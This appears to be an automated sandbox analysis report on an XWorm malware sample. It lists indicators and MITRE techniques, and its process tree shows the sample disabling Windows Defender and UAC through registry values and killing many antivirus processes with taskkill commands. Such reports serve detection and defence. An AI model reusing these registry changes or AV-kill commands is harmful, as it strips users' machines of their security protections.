xworm | 45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 3 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
1144	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
696	program1.exe
5900	program2.exe

Loads dropped DLL 44 IoCs

pid	Process
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
696	program1.exe
696	program1.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
696	program1.exe
696	program1.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5900 set thread context of 3784	5900	program2.exe	443

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1264	sc.exe
2816	sc.exe
5504	sc.exe
2288	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
3300	taskkill.exe
3884	taskkill.exe
1880	taskkill.exe
3504	taskkill.exe
1076	taskkill.exe
3824	taskkill.exe
2588	taskkill.exe
2384	taskkill.exe
2688	taskkill.exe
4796	taskkill.exe
5652	taskkill.exe
3000	taskkill.exe
2352	taskkill.exe
2768	taskkill.exe
5252	taskkill.exe
3068	taskkill.exe
2920	taskkill.exe
5348	taskkill.exe
3444	taskkill.exe
4268	taskkill.exe
356	taskkill.exe
3236	taskkill.exe
2684	taskkill.exe
5836	taskkill.exe
3464	taskkill.exe
5652	taskkill.exe
6068	taskkill.exe
5684	taskkill.exe
3916	taskkill.exe
888	taskkill.exe
1932	taskkill.exe
3468	taskkill.exe
2808	taskkill.exe
2680	taskkill.exe
2796	taskkill.exe
2892	taskkill.exe
2540	taskkill.exe
2280	taskkill.exe
5732	taskkill.exe
2064	taskkill.exe
6100	taskkill.exe
2172	taskkill.exe
5560	taskkill.exe
6040	taskkill.exe
1940	taskkill.exe
1260	taskkill.exe
2544	taskkill.exe
708	taskkill.exe
2540	taskkill.exe
3148	taskkill.exe
3136	taskkill.exe
4496	taskkill.exe
1740	taskkill.exe
5676	taskkill.exe
4876	taskkill.exe
4908	taskkill.exe
1112	taskkill.exe
2032	taskkill.exe
6136	taskkill.exe
5012	taskkill.exe
4588	taskkill.exe
4916	taskkill.exe
3396	taskkill.exe
4116	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3784	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4328	powershell.exe
4328	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe
4224	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	4384	taskkill.exe
Token: SeDebugPrivilege	5604	taskkill.exe
Token: SeDebugPrivilege	3000	taskkill.exe
Token: SeDebugPrivilege	5840	taskkill.exe
Token: SeDebugPrivilege	1904	taskkill.exe
Token: SeDebugPrivilege	5904	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	2352	taskkill.exe
Token: SeDebugPrivilege	1684	taskkill.exe
Token: SeDebugPrivilege	2680	taskkill.exe
Token: SeDebugPrivilege	1260	taskkill.exe
Token: SeDebugPrivilege	3300	taskkill.exe
Token: SeDebugPrivilege	3464	taskkill.exe
Token: SeDebugPrivilege	2112	taskkill.exe
Token: SeDebugPrivilege	5784	taskkill.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	6100	taskkill.exe
Token: SeDebugPrivilege	2920	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	5652	taskkill.exe
Token: SeDebugPrivilege	5676	taskkill.exe
Token: SeDebugPrivilege	2196	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	2748	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	5348	taskkill.exe
Token: SeDebugPrivilege	2544	taskkill.exe
Token: SeDebugPrivilege	4876	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	800	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	1112	taskkill.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	708	taskkill.exe
Token: SeDebugPrivilege	2540	taskkill.exe
Token: SeDebugPrivilege	3784	taskkill.exe
Token: SeDebugPrivilege	2768	taskkill.exe
Token: SeDebugPrivilege	3504	taskkill.exe
Token: SeDebugPrivilege	4908	taskkill.exe
Token: SeDebugPrivilege	6040	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	3444	taskkill.exe
Token: SeDebugPrivilege	2172	taskkill.exe
Token: SeDebugPrivilege	712	taskkill.exe
Token: SeDebugPrivilege	5012	taskkill.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	3956	taskkill.exe
Token: SeDebugPrivilege	1940	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	3044	taskkill.exe
Token: SeDebugPrivilege	3452	taskkill.exe
Token: SeDebugPrivilege	5684	taskkill.exe
Token: SeDebugPrivilege	292	taskkill.exe
Token: SeDebugPrivilege	1112	taskkill.exe
Token: SeDebugPrivilege	2892	taskkill.exe
Token: SeDebugPrivilege	4268	taskkill.exe
Token: SeDebugPrivilege	3148	taskkill.exe
Token: SeDebugPrivilege	3916	taskkill.exe
Token: SeDebugPrivilege	2688	taskkill.exe
Token: SeDebugPrivilege	4588	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3784	RegSvcs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5548 wrote to memory of 2996	5548	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	87
PID 2996 wrote to memory of 3476	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	89
PID 3476 wrote to memory of 2808	3476	cmd.exe	91
PID 2996 wrote to memory of 6016	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	92
PID 6016 wrote to memory of 4384	6016	cmd.exe	94
PID 2996 wrote to memory of 4324	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	95
PID 4324 wrote to memory of 5604	4324	cmd.exe	97
PID 2996 wrote to memory of 5892	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	98
PID 5892 wrote to memory of 3000	5892	cmd.exe	100
PID 2996 wrote to memory of 3724	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	101
PID 3724 wrote to memory of 5840	3724	cmd.exe	103
PID 2996 wrote to memory of 4900	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	104
PID 4900 wrote to memory of 1904	4900	cmd.exe	106
PID 2996 wrote to memory of 5084	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	107
PID 5084 wrote to memory of 5904	5084	cmd.exe	109
PID 2996 wrote to memory of 4932	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	110
PID 4932 wrote to memory of 4956	4932	cmd.exe	112
PID 2996 wrote to memory of 796	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	113
PID 796 wrote to memory of 2352	796	cmd.exe	115
PID 2996 wrote to memory of 1420	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	116
PID 1420 wrote to memory of 1684	1420	cmd.exe	118
PID 2996 wrote to memory of 1300	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	119
PID 1300 wrote to memory of 2680	1300	cmd.exe	121
PID 2996 wrote to memory of 924	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	122
PID 924 wrote to memory of 1260	924	cmd.exe	124
PID 2996 wrote to memory of 5260	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	125
PID 5260 wrote to memory of 3300	5260	cmd.exe	127
PID 2996 wrote to memory of 6072	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	128
PID 6072 wrote to memory of 3464	6072	cmd.exe	130
PID 2996 wrote to memory of 6012	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	131
PID 6012 wrote to memory of 2112	6012	cmd.exe	133
PID 2996 wrote to memory of 4792	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	134
PID 4792 wrote to memory of 5784	4792	cmd.exe	136
PID 2996 wrote to memory of 1696	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	137
PID 1696 wrote to memory of 1144	1696	cmd.exe	139
PID 2996 wrote to memory of 2304	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	140
PID 2304 wrote to memory of 6100	2304	cmd.exe	142
PID 2996 wrote to memory of 5060	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	143
PID 5060 wrote to memory of 2920	5060	cmd.exe	145
PID 2996 wrote to memory of 3264	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	146
PID 3264 wrote to memory of 1740	3264	cmd.exe	148
PID 2996 wrote to memory of 3748	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	149
PID 3748 wrote to memory of 5652	3748	cmd.exe	151
PID 2996 wrote to memory of 5096	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	152
PID 5096 wrote to memory of 5676	5096	cmd.exe	154
PID 2996 wrote to memory of 4592	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	155
PID 4592 wrote to memory of 2196	4592	cmd.exe	233
PID 2996 wrote to memory of 1288	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	158
PID 1288 wrote to memory of 2512	1288	cmd.exe	160
PID 2996 wrote to memory of 4952	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	161
PID 4952 wrote to memory of 2748	4952	cmd.exe	239
PID 2996 wrote to memory of 5332	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	164
PID 5332 wrote to memory of 3884	5332	cmd.exe	166
PID 2996 wrote to memory of 2380	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	167
PID 2380 wrote to memory of 2796	2380	cmd.exe	169
PID 2996 wrote to memory of 5868	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	170
PID 5868 wrote to memory of 2808	5868	cmd.exe	172
PID 2996 wrote to memory of 2832	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	173
PID 2832 wrote to memory of 5348	2832	cmd.exe	175
PID 2996 wrote to memory of 1500	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	176
PID 1500 wrote to memory of 2544	1500	cmd.exe	178
PID 2996 wrote to memory of 3360	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	179
PID 3360 wrote to memory of 4876	3360	cmd.exe	181
PID 2996 wrote to memory of 1176	2996	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe	182

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe

C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
"C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5548
- C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe
  "C:\Users\Admin\AppData\Local\Temp\45a576381409b82fb40689b7ddfa0b7ab3fe774e81d4a2da9a98435a2f2207a5.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - UAC bypass
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3476
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6016
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5892
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5260
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3264
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
